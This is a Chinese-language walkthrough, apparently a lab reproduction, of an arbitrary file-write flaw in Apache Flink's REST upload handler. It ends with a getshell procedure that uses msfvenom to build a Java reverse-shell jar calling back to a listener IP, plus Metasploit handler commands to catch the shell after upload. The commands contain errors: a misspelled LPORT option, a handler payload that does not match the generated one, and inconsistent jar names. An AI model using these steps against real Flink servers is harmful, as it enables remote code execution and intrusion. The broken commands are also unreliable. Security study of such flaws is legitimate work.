文章目录
- 一、Apache Flink简介
- 二、漏洞简介
- 三、漏洞复现
- 四、上传jar包getshell
一、Apache Flink简介
Apache Flink 是一个框架和分布式处理引擎,用于在无边界和有边界数据流上进行有状态的计算。Flink 能在所有常见集群环境中运行,并能以内存速度和任意规模进行计算。Apache Flink 是一个分布式系统,它需要计算资源来执行应用程序。Flink 集成了所有常见的集群资源管理器,例如 Hadoop YARN、 Apache Mesos 和 Kubernetes,但同时也可以作为独立集群运行。
二、漏洞简介
在Apache Flink1.5.1中引入了 REST 处理程序,允许通过恶意修改HTTP HEADER将上传的文件写入本地文件系统上的任意位置。
攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置。
影响版本:
Apache:Apache Flink: 1.5.1 ---- 1.11.2
三、漏洞复现
1、访问Add New,上传
2、任意构造上传路径,上传文件。虽然响应显示400,但是已经上传成功。
3、进入容器.
4、执行命令,查看上传的文件。
四、上传jar包getshell
1、Flink支持上传jar包并且执行,所以这里可以通过上传jar包获取Webshell。
利用msfvenom工具生成.jar格式的木马,LHOST、LPORT为监听机器的IP和端口,此处利用Kali作为监听机。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.128 LOBPORT=4444 -f jar > rce.jar
2、在监听机执行
use exploit/multi/handler
set payload java/shell/reverse_tcp
set LHOST 192.168.198.128
set LPORT 4444
run
3、访问主页,点击Add New按钮,上传生成的rec.jar。
4、成功反弹shell。